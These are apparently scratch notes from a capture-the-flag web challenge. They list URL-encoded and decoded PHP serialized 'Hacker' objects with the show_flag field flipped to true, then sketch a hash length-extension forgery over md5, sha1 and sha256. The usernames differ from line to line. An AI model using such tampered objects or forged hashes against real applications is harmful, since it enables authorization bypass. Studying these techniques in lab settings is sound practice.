O%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A17%3A%22%00Hacker%00show_flag%22%3Bb%3A0%3Bs%3A16%3A%22%00Hacker%00username%22%3Bs%3A10%3A%22hacker1337%22%3B%7D

%20O%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A17%3A%22%00Hacker%00show_flag%22%3Bb%3A1%3Bs%3A16%3A%22%00Hacker%00username%22%3Bs%3A10%3A%22hacker1137%22%3B%7D


O%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A17%3A%22%00Hacker%00show_flag%22%3Bb%3A1%3Bs%3A16%3A%22%00Hacker%00username%22%3Bs%3A10%3A%22hacker1137%22%3B%7D

O:6:"Hacker":2:{s:17:"Hackershow_flag";b:0;s:16:"Hackerusername";s:10:"hacker1337";} O:6:"Hacker":2:{s:17:"Hackershow_flag";b:1;s:16:"Hackerusername";s:10:"hacker1317";}

array{'O:6:"Hacker":2:{s:17:"Hackershow_flag";b:0;s:16:"Hackerusername";s:10:"hacker1337";}', 'O:6:"Hacker":2:{s:17:"Hackershow_flag";b:1;s:16:"Hackerusername";s:10:"hacker1317";}'}

md5
sha1
sha256

hash('secret'+'control') = xxxxxxxxxxxxxxxxx
secret = length
control = content

hash('secret'+'control'+appended) = bbbbbbbbbbbbbbbbbb